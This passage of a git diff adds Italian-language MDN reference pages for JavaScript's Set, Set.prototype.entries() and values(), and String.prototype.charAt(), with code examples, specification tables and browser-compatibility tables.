+<pre class="syntaxbox"><code><em>mySet</em>.entries()</code></pre>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Un nuovo oggetto <code>Iterator</code> che contiene un array di <code>[valore, valore]</code> per ciascun elemento nell'oggetto <code>Set</code>, nell'ordine con cui sono stati inseriti.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_di_entries()">Uso di <code>entries()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add("foobar");
+mySet.add(1);
+mySet.add("baz");
+
+var setIter = mySet.entries();
+
+console.log(setIter.next().value); // ["foobar", "foobar"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["baz", "baz"]
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("24") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{ CompatGeckoMobile("24") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/set/index.html b/files/it/web/javascript/reference/global_objects/set/index.html
new file mode 100644
index 0000000000..c8de5d83f6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/set/index.html
@@ -0,0 +1,394 @@
+---
+title: Set
+slug: Web/JavaScript/Reference/Global_Objects/Set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<div>L'oggetto <strong>Set</strong> permette di memorizzare valori <em>unici </em>di qualunque tipo, che siano {{Glossary("Primitive", "valori primitivi")}} o riferimenti ad oggetti.</div>
+
+<div> </div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">new Set([iterabile]);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>iterabile</dt>
+ <dd>Se un <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">oggetto iterabile</a> è passato, tutti i suoi elementi saranno aggiunti al nuovo Set. null viene trattato come undefined.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Gli oggetti <code>Set</code> sono collezioni di valori, e possibile iterare i valori nel loro ordine di inserimento. Un valore in un <code>Set</code> può occorrere solo una volta; è quindi unico nella collezione.</p>
+
+<h3 id="Uguaglianza_dei_valori">Uguaglianza dei valori</h3>
+
+<p>Dato che ogni valore in un Set deve essere unico, dovra essere controllata l'uguaglianza di un nuovo valore con valori già presenti nel Set, questa operazione non è basata sullo stesso algoritmo usato per l'operatore ===. Nello specifico, per i Set, +0 (che è strettamente uguale a -0) e -0 sono valori differenti. Comunque, questo è stato cambiato nell'ultima specifica ECMAScript 6. Partendo da Gecko 29.0 {{geckoRelease("29")}} ({{bug("952870")}}) e da questa <a href="https://code.google.com/p/v8/issues/detail?id=3069">recente nightly Chrome issue</a>, +0 e -0 sono trattati come valori identici nell'oggetto <code>Set</code>. Inoltre, <code>NaN</code> e <code>undefined</code> possono essere memorizzati nei Set. <code>NaN</code> è considerato unguale a <code>NaN</code> (anche se <code>NaN</code> !== <code>NaN</code>).</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code>Set.size</code></dt>
+ <dd>Il valore della proprietà <strong><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">size </span></font></strong>è 0. </dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>Il costruttore della funzione che viene usato per creare oggetti derivati.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Rappresenta il prototipo per il costruttore del <code>Set</code>. Consente l'aggiunta di proprietà a tutti gli oggetti <code>Set</code>.</dd>
+</dl>
+
+<h2 id="Instanze_Set"><code>Instanze Set</code></h2>
+
+<p>Tutte le instanze di <code>Set</code> ereditano da {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="Proprietà_2">Proprietà</h3>
+
+<p>{{page('it-IT/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p>
+
+<h3 id="Methods">Methods</h3>
+
+<p>{{page('it-IT/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_dell'oggetto_Set">Uso dell'oggetto <code>Set</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5);
+mySet.add("some text");
+var o = {a: 1, b: 2};
+mySet.add(o);
+
+mySet.has(1); // true
+mySet.has(3); // false, 3 non è stato aggiunto al set
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has("Some Text".toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 4
+
+mySet.delete(5); // rimuove 5 dal set
+mySet.has(5);    // false, 5 è stato rimosso
+
+mySet.size; // 3, abbiamo rimosso 1 valore
+</pre>
+
+<h3 id="Iterando_oggetti_Set">Iterando oggetti Set</h3>
+
+<pre class="brush: js">// iterando i valori in un set
+// logga gli item in ordine: 1, "testo di esempio"
+for (let item of mySet) console.log(item);
+
+// logga gli item in ordine: 1, "testo di esempio"
+for (let item of mySet.keys()) console.log(item);
+
+// logga gli item in ordine: 1, "testo di esempio"
+for (let item of mySet.values()) console.log(item);
+
+// logga gli item in ordine: 1, "testo di esempio"
+//(chiavi e valori qui sono uguali)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// converte un set in un Array semplice (con )
+// convert set to plain Array (con <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a>)
+var myArr = [v for (v of mySet)]; // [1, "some text"]
+// Alternativa (con <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a>)
+var myArr = Array.from(mySet); // [1, "some text"]
+
+// Il seguente snippet funzionerà anche in un documento HTML
+mySet.add(document.body);
+mySet.has(document.querySelector("body")); // true
+
+// conversione tra Set e Array
+mySet2 = new Set([1,2,3,4]);
+mySet2.size; // 4
+[...mySet2]; // [1,2,3,4]
+
+// l'itersezione può essere simulata con
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// la differenza può essere simulata con
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// Itera i valori di un set con forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="Relazione_con_gli_oggetti_Array">Relazione con gli oggetti <code>Array</code></h3>
+
+<pre class="brush: js">var myArray = ["value1", "value2", "value3"];
+
+// Uso del costruttore di Set per trasformare un Array in un Set
+var mySet = new Set(myArray);
+
+mySet.has("value1"); // ritorna true
+
+// Usa l'operatore spread per trasformare un Set in un Array
+console.log(uneval([...mySet])); // Mostrerà lo stesso identico Array di myArray</pre>
+
+<h2 id="Specifica">Specifica</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{ CompatChrome(38) }} [1]</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Set(iterable)</code></td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>iterable</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{ CompatGeckoDesktop("17") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Set.clear()</code></td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("19")}}</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Set.keys(), Set.values(), Set.entries()</code></td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("24")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>Set.forEach()</code></td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Value equality for -0 and 0</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Set(null)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>add()</code> in Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Set[@@species]</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Set()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(38)}} [1]</td>
+   <td>{{ CompatGeckoMobile("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Set(iterable)</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{ CompatGeckoMobile("13") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>iterable</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("17") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Set.clear()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Set.keys(), Set.values(), Set.entries()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("24")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>Set.forEach()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Value equality for -0 and 0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(38) }}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor argument: <code>new Set(null)</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Monkey-patched <code>add()</code> in Constructor</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Set[@@species]</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>Set()</code> without <code>new</code> throws</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La caratteristica è disponibile come opzione da Chrome 31. In <code>chrome://flags</code>, attivare la voce “Enable Experimental JavaScript”.</p>
+
+<h2 id="Guarda_pure">Guarda pure</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/set/values/index.html b/files/it/web/javascript/reference/global_objects/set/values/index.html
new file mode 100644
index 0000000000..e662f3d62d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/set/values/index.html
@@ -0,0 +1,114 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Set/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>values()</strong></code> restituisce un nuovo oggetto di tipo <code><strong>Iterator</strong></code> che contiene tutti i valori presenti nell'oggetto <code>Set</code>, nell'ordine con cui sono stati inseriti.</p>
+
+<p>Il metodo <strong><code>keys()</code></strong> è un alias per questo metodo (in modo da mantenere api simili all'oggetto {{jsxref("Map")}}); si comporta esattamente allo stesss modo e restiuisce i <strong>valori</strong> contenuti nell'oggetto <code>Set</code>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Un nuovo oggetto di tipo <code><strong>Iterator</strong></code> che contiene tutti i valori presenti nell'oggetto <code>Set</code>, nell'ordine con cui sono stati inseriti.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Uso_di_values()">Uso di <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add("foo");
+mySet.add("bar");
+mySet.add("baz");
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("24")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{ CompatGeckoMobile("24") }}</td>
+   <td>{{ CompatNo}}</td>
+   <td>{{ CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/string/charat/index.html b/files/it/web/javascript/reference/global_objects/string/charat/index.html
new file mode 100644
index 0000000000..312cfa9713
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/string/charat/index.html
@@ -0,0 +1,247 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charAt
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">Il metodo {{jsxref("String")}} dell'oggetto <strong><code>charAt()</code></strong> restituisce una nuova stringa che consiste nella singola unità di codice UTF-16 situata nell'offset specificato nella stringa.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charat.html")}}</div>
+
+<p class="hidden">La fonte per questo esempio interattivo è memorizzata in un repository GitHub. Se desideri contribuire al progetto di esempi interattivi, clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviarci una richiesta di pull.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>carattere</em> = <em>str</em>.charAt(<em>indice</em>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Un numero intero compreso tra 0 e 1-meno della lunghezza della stringa. Se non viene fornito alcun indice, il valore predefinito è 0, quindi viene restituito il primo carattere nella stringa.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Una stringa che rappresenta il carattere (esattamente un'unità di codice UTF-16) nell'indice specificato; stringa vuota se <code>index</code> non è compreso nell'intervallo</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>I caratteri in una stringa sono indicizzati da sinistra a destra. L'indice del primo carattere è 0 e l'indice dell'ultimo carattere in una stringa chiamata <code>stringName</code> è <code>stringName.length - 1</code>. Se l'indice che fornisci è fuori da questo intervallo, JavaScript restituisce una stringa vuota.</p>
+
+<p>Se non viene fornito alcun indice per <code> charAt()</code>, il valore predefinito è 0.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Visualizzazione_di_caratteri_in_posizioni_diverse_in_una_stringa">Visualizzazione di caratteri in posizioni diverse in una stringa</h3>
+
+<p>Nell'esempio seguente vengono visualizzati caratteri in posizioni diverse nella stringa <code> "Brave new world"</code>:</p>
+
+<pre class="brush: js">var anyString = 'Brave new world';
+console.log("Il carattere nell'indice 0 è '" + anyString.charAt()   + "'");
+// Non è stato fornito alcun indice, usato 0 come predefinito
+
+console.log("The character at index 0   is '" + anyString.charAt(0)   + "'");
+console.log("The character at index 1   is '" + anyString.charAt(1)   + "'");
+console.log("The character at index 2   is '" + anyString.charAt(2)   + "'");
+console.log("The character at index 3   is '" + anyString.charAt(3)   + "'");
+console.log("The character at index 4   is '" + anyString.charAt(4)   + "'");
+console.log("The character at index 999 is '" + anyString.charAt(999) + "'");
+</pre>
+
+<p>Queste righe mostrano quanto segue:</p>
+
+<pre class="brush: js">//Il carattere nell'indice 0   is 'B'
+
+//Il carattere nell'indice 0   is 'B'
+//Il carattere nell'indice 1   is 'r'
+//Il carattere nell'indice 2   is 'a'
+//Il carattere nell'indice 3   is 'v'
+//Il carattere nell'indice 4   is 'e'
+//Il carattere nell'indice 999 is ''
+</pre>
+
+<h3 id="Recupero_di_caratteri_interi">Recupero di caratteri interi</h3>
+
+<p>Quanto segue fornisce un mezzo per garantire che l'attraversamento di un loop string fornisca sempre un intero carattere, anche se la stringa contiene caratteri che non si trovano nel piano multi-lingue di base.</p>
+
+<pre class="brush: js">var str = 'A \uD87E\uDC04 Z'; // Potremmo anche usare direttamente un carattere non-BMP
+for (var i = 0, chr; i &lt; str.length; i++) {
+  if ((chr = getWholeChar(str, i)) === false) {
+    continue;
+  }
+  // Adatta questa linea all'inizio di ogni ciclo, passando l'intera stringa e
+  // l'iterazione corrente e il ritorno di una variabile per rappresentare il
+  // personaggio individuale
+
+  console.log(chr);
+}
+
+function getWholeChar(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // Posizione non trovata
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return str.charAt(i);
+  }
+
+  // Alto surrogato (potrebbe cambiare l'ultimo esadecimale a 0xDB7F per trattare un alto privato
+   // si surroga come singoli caratteri)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw 'Alto surrogato senza seguire un surrogato basso';
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw 'Alto surrogato senza seguire un surrogato basso';
+      }
+      return str.charAt(i) + str.charAt(i + 1);
+  }
+  // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw 'Basso surrogato senza precedente surrogato elevato';
+  }
+  var prev = str.charCodeAt(i - 1);
+
+  // (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw 'Basso surrogato senza precedente surrogato elevato';
+  }
+  // Ora possiamo passare sopra surrogati bassi come secondo componente
+   // in una coppia che abbiamo già elaborato
+  return false;
+}
+</pre>
+
+<p>In un ambiente ECMAScript 2016 che consente l'assegnazione destrutturata, la seguente è un'alternativa più succinta e un po 'più flessibile in quanto incrementa automaticamente una variabile incrementale (se il carattere lo richiede in quanto coppia surrogata).</p>
+
+<pre class="brush: js">var str = 'A\uD87E\uDC04Z'; // Potremmo anche usare direttamente un carattere non-BMP
+for (var i = 0, chr; i &lt; str.length; i++) {
+  [chr, i] = getWholeCharAndI(str, i);
+  // Adatta questa linea all'inizio di ogni ciclo, passando l'intera stringa e
+  // l'iterazione corrente e la restituzione di un array con il singolo carattere
+  // e valore "i" (modificato solo se una coppia surrogata)
+
+  console.log(chr);
+}
+function getWholeCharAndI(str, i) {
+  var code = str.charCodeAt(i);
+  if (Number.isNaN(code)) {
+    return ''; // Posizione non trovata
+  }
+  if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+    return [str.charAt(i), i]; // Carattere normale, mantenendo 'i' lo stesso
+  }
+  // Alto surrogato (potrebbe cambiare l'ultimo esadecimale a 0xDB7F per trattare un alto privato
+  // si surroga come singoli caratteri)
+  if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+    if (str.length &lt;= (i + 1)) {
+      throw "Alto surrogato senza seguire un surrogato basso";
+    }
+    var next = str.charCodeAt(i + 1);
+      if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+        throw "Alto surrogato senza seguire un surrogato basso";
+      }
+      return [str.charAt (i) + str.charAt (i + 1), i + 1];
+  }
+  // Basso surrogato (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+  if (i === 0) {
+    throw "Basso surrogato senza precedente surrogato elevato";
+  }
+  var prev = str.charCodeAt(i - 1);
+  // (potrebbe cambiare l'ultimo esadecimale in 0xDB7F per trattare i surrogati ad alto livello privato
+  // come singoli caratteri)
+  if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+    throw "Basso surrogato senza precedente surrogato elevato";
+  }
+  // Restituisce invece il carattere successivo (e incrementa)
+  return [str.charAt(i + 1), i + 1];
+}
+</pre>
+
+<h3 id="Correggere_charAt()_per_supportare_caratteri_non-Basic-Multilingual-Plane_(BMP)">Correggere <code>charAt()</code> per supportare caratteri non-Basic-Multilingual-Plane (BMP)</h3>
+
+<p>Mentre l'esempio sopra può essere più frequentemente utile per coloro che desiderano supportare caratteri non BMP (dal momento che non richiede al chiamante di sapere dove potrebbe apparire un personaggio non BMP), nel caso in cui uno lo desideri, nella scelta di un personaggio per indice, per trattare le coppie surrogate all'interno di una stringa come i singoli caratteri che rappresentano, si può usare quanto segue:</p>
+
+<pre class="brush: js">function fixedCharAt(str, idx) {
+  var ret = '';
+  str += '';
+  var end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 &lt; idx) {
+      idx++;
+    } else {
+      break;
+    }
+  }
+
+  if (idx &gt;= end || idx &lt; 0) {
+    return '';
+  }
+
+  ret += str.charAt(idx);
+
+ if (/[\uD800-\uDBFF]/.test(ret) &amp;&amp; /[\uDC00-\uDFFF]/.test(str.charAt(idx + 1))) {
+    // Vai avanti, poiché uno dei "personaggi" fa parte di una coppia di sostituti
+    ret += str.charAt(idx + 1);
+  }
+  return ret;
+}
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazioni</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
